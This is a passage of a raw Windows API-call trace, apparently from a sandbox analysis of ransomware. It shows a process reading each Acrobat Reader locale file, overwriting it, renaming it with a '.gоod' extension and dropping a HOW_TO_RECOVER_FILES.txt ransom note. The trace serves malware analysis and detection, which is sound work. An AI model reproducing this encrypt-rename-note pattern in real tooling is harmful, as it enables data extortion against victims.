lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0128.662] GetFileType (hFile=0x6e0) returned 0x1 [0128.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0128.662] GetFileType (hFile=0x6e0) returned 0x1 [0128.663] WriteFile (in: hFile=0x6e0, lpBuffer=0x35ff750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x35ff750*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0128.664] CloseHandle (hObject=0x6e0) returned 1 [0128.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0128.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz", lpFilePart=0x0) returned 0x68 [0128.664] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0128.664] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0128.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.665] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0128.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0128.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0128.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0128.665] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz", lpFilePart=0x0) returned 0x68 [0128.665] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0128.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.665] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0128.666] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0128.666] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0128.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0128.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0128.666] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0128.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0128.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x360f308 | out: lpFileInformation=0x360f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xed8)) returned 1 [0128.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0128.666] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0128.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0128.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0128.666] GetFileType (hFile=0x6e0) returned 0x1 [0128.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0128.667] GetFileType (hFile=0x6e0) returned 0x1 [0128.667] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xed8 [0128.667] ReadFile (in: hFile=0x6e0, lpBuffer=0x3610548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3610548*, lpNumberOfBytesRead=0x1ffeba08*=0xed8, lpOverlapped=0x0) returned 1 [0128.671] CloseHandle (hObject=0x6e0) returned 1 [0128.828] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0128.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0128.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0128.829] GetFileType (hFile=0x6e0) returned 0x1 [0128.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0128.829] GetFileType (hFile=0x6e0) returned 0x1 [0128.829] WriteFile (in: hFile=0x6e0, lpBuffer=0x3582350*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3582350*, lpNumberOfBytesWritten=0x1ffeb918*=0xee0, lpOverlapped=0x0) returned 1 [0128.830] CloseHandle (hObject=0x6e0) returned 1 [0128.830] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0128.831] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0128.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0128.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4901a017, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xee0)) returned 1 [0128.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0128.831] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\cs-cz\\ui-strings.js.gоod")) returned 1 [0128.831] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0128.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0128.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0128.833] GetFileType (hFile=0x6e0) returned 0x1 [0128.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0128.833] GetFileType (hFile=0x6e0) returned 0x1 [0128.833] WriteFile (in: hFile=0x6e0, lpBuffer=0x3586680*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3586680*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0128.834] CloseHandle (hObject=0x6e0) returned 1 [0128.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0128.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk", lpFilePart=0x0) returned 0x68 [0128.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0128.835] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.835] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0128.835] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.835] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0128.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0128.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0128.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0128.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk", lpFilePart=0x0) returned 0x68 [0128.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0128.836] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.836] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0128.836] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0128.836] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0128.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0128.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0128.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0128.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0128.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3596238 | out: lpFileInformation=0x3596238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe3e)) returned 1 [0128.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0128.837] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0128.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0128.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0128.837] GetFileType (hFile=0x6e0) returned 0x1 [0128.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0128.837] GetFileType (hFile=0x6e0) returned 0x1 [0128.837] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xe3e [0128.837] ReadFile (in: hFile=0x6e0, lpBuffer=0x35973e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x35973e0*, lpNumberOfBytesRead=0x1ffeba08*=0xe3e, lpOverlapped=0x0) returned 1 [0128.839] CloseHandle (hObject=0x6e0) returned 1 [0130.011] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0130.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0130.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0130.012] GetFileType (hFile=0x6e4) returned 0x1 [0130.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0130.012] GetFileType (hFile=0x6e4) returned 0x1 [0130.012] WriteFile (in: hFile=0x6e4, lpBuffer=0x3522fd0*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: 